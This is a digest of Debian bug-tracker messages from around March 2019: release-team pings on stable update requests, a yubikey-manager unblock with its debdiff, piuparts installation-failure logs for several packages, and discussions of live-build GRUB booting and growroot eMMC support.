> reaction though.
> 
> Assuming your
> 
> > I'd be happy with this in general, but the udeb means we need an
> > explicit d-i RM ack; CCing appropriately.
> 
> still applies, Cc: is set accordingly.
> 

Folks, what's the current status here?

Regards,

Adam

Bug#883897: stretch-pu: package congress/4.0.0+dfsg1-3 -> +deb9u1

[Adam D. Barratt]

On Sat, 2018-03-03 at 12:46 +, Adam D. Barratt wrote:
> Control: tags -1 + confirmed
> 
> On Sat, 2018-01-20 at 16:31 +0100, Thomas Goirand wrote:
> > On 01/13/2018 06:11 PM, Julien Cristau wrote:
> > > Control: tag -1 moreinfo
> > > 
> > > On Sat, Dec  9, 2017 at 00:30:01 +0100, Thomas Goirand wrote:
> > > 
> > > > Package: release.debian.org
> > > > Severity: normal
> > > > Tags: stretch
> > > > User: release.debian@packages.debian.org
> > > > Usertags: pu
> > > > 
> > > > Dear release team,
> > > > 
> > > > congress-server was built with openstack-pkg-tools *before* it
> > > > stopped using
> > > > /sbin/route from net-tools. Therefore, it's using /usr/sbin at
> > > > setup time
> > > > even though net-tools isn't a runtime dependency.
> > > > 
> > > > So I would like to upload a rebuild of Congress to Stretch, so
> > > > its
> > > > maintainer scripts would not need net-tools anymore. This would
> > > > fix #858693.
> > > > 
> > > > Of course, since I am not planning any modification to the
> > > > package, I have
> > > > no debdiff to show (it would only contain a new changelog
> > > > entry,
> > > > which isn't
> > > > very useful to review).
> > > > 
> > > 
> > > If the rebuild makes a difference, then please show what that
> > > difference
> > > actually is?  Possibly that means a binary debdiff in addition to
> > > the
> > > normal source diff.
> > > 
> > > Cheers,
> > > Julien
> > 
> > Hi Julien,
> > 
> > Here's the resulting changes on the config script, attached to this
> > message, together with the debdiff. As you can see, the script now
> > reads
> > /proc/net/route directly instead of using /sbin/route, so we don't
> > need
> > the net-tools package which was otherwise missing in dependencies.
> > 
> 
> Please go ahead.

Ping?

I plan on closing this bug in a couple of weeks time if nothing
happens.

Regards,

Adam

Bug#877195: the patches

[Adam D. Barratt]

On Tue, 2018-02-27 at 18:48 +, Adam D. Barratt wrote:
> On Tue, 2018-02-27 at 13:22 +1100, Russell Coker wrote:
> > What's the situation with this one?  Could it be included in the
> > next
> > Stretch 
> > update?
> 
> The +confirmed and "... then OK" in my mail of December 2nd that you
> quote below was intended as an acknowledgement that you could go
> ahead
> with the upload.

Ping? I plan on closing this bug in a couple of weeks time if nothing
happens.

Regards,

Adam

Bug#924107: unblock: yubikey-manager/2.0.0-2

[Nicolas Braud-Santoni]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Please unblock package yubikey-manager, as the newest version adds a manpage
(that upstream accidentally failed to include in their release tarball) :

  yubikey-manager (2.0.0-2) unstable; urgency=low
  
[ Nicolas Braud-Santoni ]
* Autogenerate a manpage with help2man.
  This is what upstream did, though doing it in the package build avoids
  having it go out-of-sync with the actual binary. (Closes: #912029)
  
* Switch to debhelper 12.
  Compatibility level is now controlled through a Build-Depends
  
[ Afif Elghraoui ]
* d/control: add VCS URLs
  
   -- Nicolas Braud-Santoni   Sat, 09 Mar 2019 16:41:28 +0100


Apologies for failing to do this before the freeze; I was expecting upstream to
release a new version (the latest release had issues) and waited for that...

If including a manpage for Buster is not a sufficient reason for a freeze
exception, please close the bug at your convenience.


Here is the debdiff:

  diff -Nru yubikey-manager-2.0.0/debian/changelog 
yubikey-manager-2.0.0/debian/changelog
  --- yubikey-manager-2.0.0/debian/changelog  2019-02-07 22:30:34.0 
+0100
  +++ yubikey-manager-2.0.0/debian/changelog  2019-03-09 16:41:28.0 
+0100
  @@ -1,3 +1,18 @@
  +yubikey-manager (2.0.0-2) unstable; urgency=low
  +
  +  [ Nicolas Braud-Santoni ]
  +  * Autogenerate a manpage with help2man.
  +This is what upstream did, though doing it in the package build avoids
  +having it go out-of-sync with the actual binary. (Closes: #912029)
  +
  +  * Switch to debhelper 12.
  +Compatibility level is now controlled through a Build-Depends
  +
  +  [ Afif Elghraoui ]
  +  * d/control: add VCS URLs
  +
  + -- Nicolas Braud-Santoni   Sat, 09 Mar 2019 16:41:28 +0100
  +
   yubikey-manager (2.0.0-1) unstable; urgency=medium
   
 * New upstream version 2.0.0 (2019-01-09)
  diff -Nru yubikey-manager-2.0.0/debian/compat 
yubikey-manager-2.0.0/debian/compat
  --- yubikey-manager-2.0.0/debian/compat 2019-02-07 22:30:34.0 +0100
  +++ yubikey-manager-2.0.0/debian/compat 1970-01-01 01:00:00.0 +0100
  @@ -1 +0,0 @@
  -11
  diff -Nru yubikey-manager-2.0.0/debian/control 
yubikey-manager-2.0.0/debian/control
  --- yubikey-manager-2.0.0/debian/control2019-02-07 22:30:34.0 
+0100
  +++ yubikey-manager-2.0.0/debian/control2019-03-09 16:41:28.0 
+0100
  @@ -5,8 +5,9 @@
   Priority: optional
   Rules-Requires-Root: no
   Standards-Version: 4.3.0
  -Build-Depends: debhelper (>= 11),
  +Build-Depends: debhelper-compat (= 12),
  dh-python,
  +   help2man, python3-venv,
  python3-all,
  python3-click,
  python3-cryptography,
  @@ -16,6 +17,8 @@
  python3-usb,
  python3-fido2
   Homepage: https://developers.yubico.com/yubikey-manager/
  +Vcs-Git: https://salsa.debian.org/auth-team/yubikey-manager.git
  +Vcs-Browser: https://salsa.debian.org/auth-team/yubikey-manager
   
   Package: python3-yubikey-manager
   Architecture: all
  diff -Nru yubikey-manager-2.0.0/debian/rules 
yubikey-manager-2.0.0/debian/rules
  --- yubikey-manager-2.0.0/debian/rules  2019-02-07 22:30:34.0 +0100
  +++ yubikey-manager-2.0.0/debian/rules  2019-03-09 16:41:28.0 +0100
  @@ -1,10 +1,27 @@
   #!/usr/bin/make -f
   
  +include /usr/share/dpkg/pkg-info.mk
  +
   %:
  dh $@ --with python3 --buildsystem=pybuild
   
   override_dh_installchangelogs:
  dh_installchangelogs NEWS
   
  +# Nasty hack to autogenerate a manpage
  +# This can be entirely replaced by click-man once it is packaged (see 
#924099)
  +VENV:=$(shell mktemp -d)
  +override_dh_installman:
  +   python3 -m venv --system-site-packages $(VENV)
  +   $(VENV)/bin/python setup.py build
  +   $(VENV)/bin/python setup.py install
  +
  +   help2man -o debian/ykman.1 \
  +   --no-info --version-string=$(DEB_VERSION_UPSTREAM) \
  +   --name 'YubiKey Manager' -- $(VENV)/bin/ykman
  +   rm -rf $(VENV)
  +
  +   dh_installman
  +
   override_dh_missing:
  dh_missing --fail-missing
  diff -Nru yubikey-manager-2.0.0/debian/yubikey-manager.manpages 
yubikey-manager-2.0.0/debian/yubikey-manager.manpages
  --- yubikey-manager-2.0.0/debian/yubikey-manager.manpages   1970-01-01 
01:00:00.0 +0100
  +++ yubikey-manager-2.0.0/debian/yubikey-manager.manpages   2019-03-09 
16:41:28.0 +0100
  @@ -0,0 +1 @@
  +debian/ykman.1


Best,

  nicoo


unblock yubikey-manager/2.0.0-2

-BEGIN PGP SIGNATURE-

iQJFBAEBCgAvFiEEU7EqA8ZVHYoLJhPE5vmO4pLV7MsFAlyD5KkRHG5pY29vQGRl
Ymlhbi5vcmcACgkQ5vmO4pLV7MskBA//U0/gPrjyeAK36nJRXKc23jMxQWXWYi8l
Nh6RSA67c2VejcZGoLy7Fchz+sCrvoX1/3KeC9HwD2YHuY1sT0/iQ/sA5BLLDqe0
2UaypXVuo2n2A8k7EJSwN4U/fXFi1TXQqNa

Bug#864743: unblock: nodejs/4.8.3~dfsg-1

[Jérémy Lal]

Le sam. 9 mars 2019 à 16:58, Adam D. Barratt  a
écrit :

> On Sun, 2018-12-02 at 16:47 +0100, Julien Cristau wrote:
> > Control: tag -1 - moreinfo
> >
> > On Sat, Jun 17, 2017 at 05:53:31PM +0100, Adam D. Barratt wrote:
> > > retitle 864743 stretch-pu: package nodejs
> > > user release.debian@packages.debian.org
> > > usertags 864743 = pu
> > > tags 864743 + stretch moreinfo
> > > thanks
> > >
> > > On Wed, 2017-06-14 at 00:40 +0200, Jérémy Lal wrote:
> > > > Please unblock package nodejs
> > > >
> > > > - it's a LTS upstream update from 4.8.2 to 4.8.3
> > > > - it fixes #855018, #855018 to avoid test failures
> > > > - it fixes #864735  with a Priority: optional on source package
> > > > - it restores how upstream finds global nodejs modules:
> > > >   /usr/lib/nodejs (as before) when executable is in
> > > > /usr/bin/nodejs
> > > >   /usr/local/lib/nodejs (not as before) when executable is in
> > > >   /usr/local/bin/nodejs.
> > > >   It was a bad idea to disable this in the first place.
> > > >
> > > > I've excluded upstream changes concerning:
> > > > - tests and their fixtures
> > > > - html documentation
> > > > - markdown documentation, changelog, readme, ...
> > >
> > > Sorry this didn't get a reply before the release, although it was
> > > filed
> > > very late in the process.
> > >
> > > Converting to a proto-pu request so we can consider what might be
> > > appropriate for an update in stable.
> > >
> >
> > Sorry for the delay.  Looks fine for upload if there's still
> > interest.
>
> Ping? I plan on closing this bug in a couple of weeks if nothing
> changes.
>
> Regards,
>
> Adam
>

It's probably meaningless to upload any change to nodejs in stretch right
now.
I'd rather close this bug.

Jérémy

Bug#924106: open-infrastructure-ceph-tools: fails to install: open-infrastructure-ceph-tools.postinst: cannot create /etc/open-infrastructure/ceph-tools.conf: Directory nonexistent

[Andreas Beckmann]

Package: open-infrastructure-ceph-tools
Version: 20190301-lts1-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package failed to install. As
per definition of the release team this makes the package too buggy for
a release, thus the severity.

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package open-infrastructure-ceph-tools.
  (Reading database ... 
(Reading database ... 4556 files and directories currently installed.)
  Preparing to unpack 
.../open-infrastructure-ceph-tools_20190301-lts1-1_all.deb ...
  Unpacking open-infrastructure-ceph-tools (20190301-lts1-1) ...
  Setting up open-infrastructure-ceph-tools (20190301-lts1-1) ...
  /var/lib/dpkg/info/open-infrastructure-ceph-tools.postinst: 46: 
/var/lib/dpkg/info/open-infrastructure-ceph-tools.postinst: cannot create 
/etc/open-infrastructure/ceph-tools.conf: Directory nonexistent
  dpkg: error processing package open-infrastructure-ceph-tools (--configure):
   installed open-infrastructure-ceph-tools package post-installation script 
subprocess returned error exit status 2
  Errors were encountered while processing:
   open-infrastructure-ceph-tools


Please ship an empty directory, don't create/remove it in the maintainer 
scripts.


cheers,

Andreas


open-infrastructure-ceph-tools_20190301-lts1-1.log.gz
Description: application/gzip

Bug#924108: Mention BD = Blu-ray disk

[積丹尼 Dan Jacobson]

Package: cdimage.debian.org
Severity: minor

User gets as far as
https://cdimage.debian.org/cdimage/weekly-builds/
whereupon entering
https://cdimage.debian.org/cdimage/weekly-builds/amd64/
he sees a "bd" not explained where CD and DVD were earlier.

He must check https://www.google.com/search?q=cd+dvd+bd
to finally guess what "bd" means.

Bug#924109: diaspora: fails to install noninteractively

[Andreas Beckmann]

Package: diaspora
Version: 0.7.9.0+dfsg-4
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package failed to install. As
per definition of the release team this makes the package too buggy for
a release, thus the severity.

>From the attached log (scroll to the bottom...):

  Setting up diaspora (0.7.9.0+dfsg-4) ...
  
  We trust you have received the usual lecture from the local System
  Administrator. It usually boils down to these three things:
  
  #1) Respect the privacy of others.
  #2) Think before you type.
  #3) With great power comes great responsibility.
  
  sudo: no tty present and no askpass program specified
  [ESC][31mBundler::SudoNotPermittedError: Bundler requires sudo access to 
install at the
  moment. Try installing again, granting Bundler sudo access when prompted, or
  installing into a different path.
  [ESC][0m[ESC][0m[ESC][31mAn error occurred while installing sass (3.4.25), 
and Bundler
  cannot continue.
  [ESC][0m
  
  In Gemfile:
bootstrap-sass was resolved to 3.3.5.1, which depends on
  sass[ESC][0m
  dpkg: error processing package diaspora (--configure):
   installed diaspora package post-installation script subprocess returned 
error exit status 1
  Processing triggers for libc-bin (2.28-8) ...
  Processing triggers for ca-certificates (20190110) ...
  Updating certificates in /etc/ssl/certs...
  0 added, 0 removed; done.
  Running hooks in /etc/ca-certificates/update.d...
  done.
  Errors were encountered while processing:
   diaspora


piuparts tests are run under DEBIAN_FRONTEND=noninteractive
in case this does matter ...


cheers,

Andreas


diaspora_0.7.9.0+dfsg-4.log.gz
Description: application/gzip

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[adrian15]

El 09/03/19 a las 15:03, Thomas Schmitt escribió:
> Hi,
> 
> adrian15 wrote:
>> Well, guess what happened... my obvious patch:
>>  if ! search --set=root --file /live/vmlinuz ; then
>search --set=root --file /live/vmlinuz1
>> does not boot in my computer because it's still finding /live/vmlinuz in
>> the internal hard disk.

So, I have been taking a look at Debian official Live build images
(which are built with lwr) and they happen to search for:


search --set=root --file /.disk/info


So there are two scenarios where this might arise as a problem:

1) Two live USB images being plugged in at the same time.
And somehow the UEFI firmware is so good that it shows both of them to grub.

I think we shouldn't care too much about this scenario because it's too
unlikely.

2) One live USB image plugged in. And some computer manufacter having
installed a possibly lwr based live build on an internal hard disk
partition.

I think this is highly unlikely because when you build an image designed
to be used in a hard disk you do not use mkisofs. Why? Because you want
the partition to be writable. Isn't it?
So if mkisofs is not used then there won't be a /.disk/info file.

So there is not a problem.


What I'm saying with all of this is that I'm going to propose a fix that
involves not using any earmark (which involves too much work) but just
searching for /.disk/info instead.

Hopefully Thomas you are not too bad at me. You seemed to be very
excited with all of this earmark implementation ;) .


adrian15
-- 
Support free software. Donate to Super Grub Disk. Apoya el software
libre. Dona a Super Grub Disk. http://www.supergrubdisk.org/donate/

Bug#924110: redmine-plugin-local-avatars: fails to install: NoMethodError: undefined method `to_prepare' for ActionDispatch::Callbacks:Class

[Andreas Beckmann]

Package: redmine-plugin-local-avatars
Version: 1.0.1-1
Severity: serious
Tags: sid
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package failed to install. As
per definition of the release team this makes the package too buggy for
a release, thus the severity.

>From the attached log (scroll to the bottom...):

  Setting up redmine (4.0.1-1) ...
  dbconfig-common: writing config to 
/etc/dbconfig-common/redmine/instances/default.conf
  
  Creating config file /etc/dbconfig-common/redmine/instances/default.conf with 
new version
  
  Creating config file /etc/redmine/default/database.yml with new version
  creating database redmine_default: success.
  verifying database redmine_default exists: success.
  [ESC][33m`/var/www` is not a directory.
  Bundler will use `/tmp/bundler-20190304-65915-a9w9bx' as your home directory 
temporarily.
  [ESC][0mrake aborted!
  NoMethodError: undefined method `to_prepare' for 
ActionDispatch::Callbacks:Class
  Did you mean?  to_param
  /usr/share/redmine/plugins/redmine_local_avatars/init.rb:28:in `'
  
/usr/share/rubygems-integration/all/gems/activesupport-5.2.2/lib/active_support/dependencies.rb:291:in
 `require'
  
/usr/share/rubygems-integration/all/gems/activesupport-5.2.2/lib/active_support/dependencies.rb:291:in
 `block in require'
  
/usr/share/rubygems-integration/all/gems/activesupport-5.2.2/lib/active_support/dependencies.rb:257:in
 `load_dependency'
  
/usr/share/rubygems-integration/all/gems/activesupport-5.2.2/lib/active_support/dependencies.rb:291:in
 `require'
  /usr/share/redmine/lib/redmine/plugin.rb:173:in `block in load'
  /usr/share/redmine/lib/redmine/plugin.rb:164:in `each'
  /usr/share/redmine/lib/redmine/plugin.rb:164:in `load'
  /usr/share/redmine/config/initializers/30-redmine.rb:21:in `'
  
/usr/share/rubygems-integration/all/gems/activesupport-5.2.2/lib/active_support/dependencies.rb:285:in
 `load'
  
/usr/share/rubygems-integration/all/gems/activesupport-5.2.2/lib/active_support/dependencies.rb:285:in
 `block in load'
  
/usr/share/rubygems-integration/all/gems/activesupport-5.2.2/lib/active_support/dependencies.rb:257:in
 `load_dependency'
  
/usr/share/rubygems-integration/all/gems/activesupport-5.2.2/lib/active_support/dependencies.rb:285:in
 `load'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/engine.rb:657:in
 `block in load_config_initializer'
  
/usr/share/rubygems-integration/all/gems/activesupport-5.2.2/lib/active_support/notifications.rb:170:in
 `instrument'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/engine.rb:656:in
 `load_config_initializer'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/engine.rb:614:in
 `block (2 levels) in '
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/engine.rb:613:in
 `each'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/engine.rb:613:in
 `block in '
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/initializable.rb:32:in
 `instance_exec'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/initializable.rb:32:in
 `run'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/initializable.rb:61:in
 `block in run_initializers'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/initializable.rb:50:in
 `each'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/initializable.rb:50:in
 `tsort_each_child'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/initializable.rb:60:in
 `run_initializers'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/application.rb:361:in
 `initialize!'
  /usr/share/redmine/config/environment.rb:14:in `'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/application.rb:337:in
 `require'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/application.rb:337:in
 `require_environment!'
  
/usr/share/rubygems-integration/all/gems/railties-5.2.2/lib/rails/application.rb:520:in
 `block in run_tasks_blocks'
  Tasks: TOP => db:migrate => db:load_config => environment
  (See full trace by running task with --trace)
  dpkg: error processing package redmine (--configure):
   installed redmine package post-installation script subprocess returned error 
exit status 1
  dpkg: dependency problems prevent configuration of 
redmine-plugin-local-avatars:
   redmine-plugin-local-avatars depends on redmine (>= 2.3.1~); however:
Package redmine is not configured yet.
  
  dpkg: error processing package redmine-plugin-local-avatars (--configure):
   dependency problems - leaving unconfigured
  Processing triggers for libc-bin (2.28-8) ...
  Processing triggers for ca-certificates (20190110) ...
  Updating certificates in /etc/ssl/certs...
  0 added, 0 removed; done.
  Running hooks in /etc/ca-certificates/update.d...
  done.
  Errors were encountered while processing:
   redmine
   red

Bug#924113: cloud-initramfs-growroot: Fails to grow mmcblkXpY partitions

[Dorota Czaplejewicz]

Package: cloud-initramfs-growroot
Version: 0.18.debian6
Severity: important
Tags: patch

Dear Maintainer,

I'm trying to use this package to resize partitions on the Librem5 dev kit, 
which uses eMMC to store its root partition. Unfortunately, the version in 
Buster fails:

GROWROOT: FAILED: /dev/mmcblk0p: does not exist

The solution has been submitted upstream with version 0.22ubuntu1, commit 
b59490d8 [0]. The gist of the commit applies without trouble on top of 
0.18.debian6, and indeed works:

GROWROOT: CHANGED: partition=2 start=380928 old: size=6649856 end=7030784 new: 
size=59387871,end=59768799

It would be great if you could pull this change from upstream into the Debian 
version.

Cheers,
Dorota Czaplejewicz

[0] 
https://git.launchpad.net/cloud-initramfs-tools/commit/?id=b59490d847739c75549552678629ab83cf04dd81

-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: arm64 (aarch64)

Kernel: Linux 4.18.11-gb357a8c7 (SMP w/4 CPU cores; PREEMPT)
Locale: LANG=en_US.UTF-8, LC_CTYPE=C.UTF-8 (charmap=locale: Cannot set LC_ALL 
to default locale: No such file or directory
UTF-8), LANGUAGE=en_US.UTF-8 (charmap=locale: Cannot set LC_ALL to default 
locale: No such file or directory
UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages cloud-initramfs-growroot depends on:
ii  cloud-utils  0.29-1
ii  fdisk2.33.1-0.1
ii  initramfs-tools  0.133
ii  util-linux   2.33.1-0.1

cloud-initramfs-growroot recommends no packages.

cloud-initramfs-growroot suggests no packages.

-- debconf information excluded

Bug#884561: stretch-pu: package pam-krb5-migrate/0.0.11-4

[Adam D. Barratt]

On Sat, 2018-10-06 at 18:01 +0100, Adam D. Barratt wrote:
> Control: tags -1 + confirmed
> 
> On Mon, 2018-04-02 at 12:35 +0200, Julien Cristau wrote:
> > On Sat, Mar 31, 2018 at 20:53:05 +0200, Dominik George wrote:
> > 
> > > > Also, when did this break?
> > > 
> > > I do not know. I adopted the package after the stretch release.
> > > 
> > 
> > So it looks to me like the libpam-krb5-migrate-heimdal package in
> > oldoldstable has that file in the right place, then it moved
> > somewhere between then and oldstable.
> 
> Please go ahead; sorry for the delay.

Ping?

I realise we took a while to get back to you regarding this, but it's
been over 6 months now since the ACK, so I'm planning on closing this
bug in a couple of weeks time if nothing happens.

Regards,

Adam

Bug#885183: stretch-pu: package ntopng/2.4+dfsg1-3+deb9u1

[Adam D. Barratt]

On Fri, 2018-11-09 at 06:55 +0100, Salvatore Bonaccorso wrote:
> Hi Ludovico,
> 
> On Sat, Feb 10, 2018 at 10:25:47AM +0100, Julien Cristau wrote:
> > Control: tag -1 confirmed
> > 
> > On Mon, Dec 25, 2017 at 21:26:58 +0100, Ludovico Cavedon wrote:
> > 
> > > I would like to submit to your consideration an update to ntopng
> > > in
> > > stretch.
> > > 
> > > The main bug that triggered this upload is #856048, which causes
> > > the
> > > user management and preferences section of the web interface to
> > > be unusuable.
> > > 
> > > The fix is already in version 2.4+dfsg1-4 in unstable.
> > > 
> > > There are three additional important issues from 2.4+dfsg1-4 that
> > > I
> > > think it would make sense to include:
> > > - #859653 which causes ntopng to crash if the mysql backend is
> > > selected.
> > >   This change only affects mysql users. On the other side it is
> > > an
> > >   obvious usage-after-free and out-of-bound memeory access
> > > issues.
> > > - #866721 and #866719, which are securirity-related issues. Do
> > > you want
> > >   me to reach out to the security team about these first? Do we
> > > need to
> > >   treat the whole update as a security one instead, or split it?
> > > 
> > 
> > Assuming this has been properly tested in a stretch environment,
> > please
> > go ahead and upload.
> 
> Friendly ping ;-)

Re-ping.

If nothing happens within a couple of weeks then I plan on closing this
bug.

Regards,

Adam

Bug#911921: Bug ##911921: yubikey-manager new upstream version 1.0.1

[Nicolas Braud-Santoni]

Hi Felix,

On Fri, Feb 08, 2019 at 09:03:37AM +0100, Felix Zielcke wrote:
> Any chance that you could also package yubikey-manager-qt and update
> (the much outdated) yubioath-desktop?
> I thought about doing it myself, but I'm just a DM. So I would need a
> sponsor.

I'm not using those GUI applications, so I wouldn't be familiar enough with them
to feel comfortable maintaining them myself -- what if the functionality is
broken and I don't notice? -- but I can definitely be your sponsor for
maintaining those (and eventually get you direct upload rights there, since you
are already a DM).

Would you also be interested in co-maintaining yubikey-manager?


> And for yubikey-manager-qt it's now too late anyway to get it
> into buster.

Same for yubioath-desktop: it was dropped from testing in 2017, so the soft
freeze would have prevented it from re-entering.

We can make it available in buster-backports though, if that's something you
need; I recently applied for upload access to backports  :)


Best,

  nicoo


signature.asc
Description: PGP signature

Bug#890889: stretch-pu: package yorick-av/0.0.4-1

[Adam D. Barratt]

On Sat, 2018-07-07 at 13:00 +0100, Adam D. Barratt wrote:
> Control: tags -1 + confirmed
> 
> On Tue, 2018-03-13 at 10:20 +0100, Thibaut Paumard wrote:
> > Control: tags -1 - moreinfo
> > Control: thanks
> > 
> > Le 03/03/2018 à 15:31, Adam D. Barratt a écrit :
> > > Control: tags -1 + moreinfo
> > > 
> > > On Tue, 2018-02-20 at 12:01 +0100, Thibaut Paumard wrote:
> > > > yorick-av has an important bug (important impact on usability,
> > > > does
> > > > not make
> > > > the package totally useless) that I only notice now while
> > > > working
> > > > on
> > > > porting
> > > > this package to the upcoming FFmpeg in experimental:
> > > > 
> > > > https://bugs.debian.org/890880
> > > > 
> > > > The fix is one-line in the C code (at two places).
> > > > 
> > > > While I am working on more details for unstable, I would like
> > > > to
> > > > be
> > > > given the
> > > > opportunity to upload this one-liner fix to stable.
> > > > 
> > > 
> > > I'm afraid that we'd want the issue fixed in unstable first.
> > > 
> > 
> > Dear Adam,
> > 
> > Thanks for your consideration.
> > 
> > The issue is now fixed in unstable, together with another bug
> > which, 
> > although slightly less severe, also produces corrupted output
> > files:
> > 
> > https://bugs.debian.org/892176
> > 
> > I propose to upload the fix to both bugs to stable and attach the 
> > corresponding source debdiff.
> 
> Please go ahead; sorry for the delay in getting back to you.
> 
> I realise it's quite close, but as a note the window for getting
> fixes
> into the 9.5 point release closes this weekend.
> 
> > I assume I would need to build and upload with -v0.0.4-1?
> 
> Yes, please.

Ping? If nothing happens with the next couple of weeks then I plan on
closing this bug.

Regards,

Adam

Bug#924112: RM: node-xterm/2.7.0+ds1-1

[Andrej Shadura]

Control: tag -1 buster

Hi,

The pending jupyter-notebook 5.7.4-2 upload will have removed the build
dependency on node-xterm, at which point node-xterm can be temoved from
testing.

-- 
Cheers,
  Andrej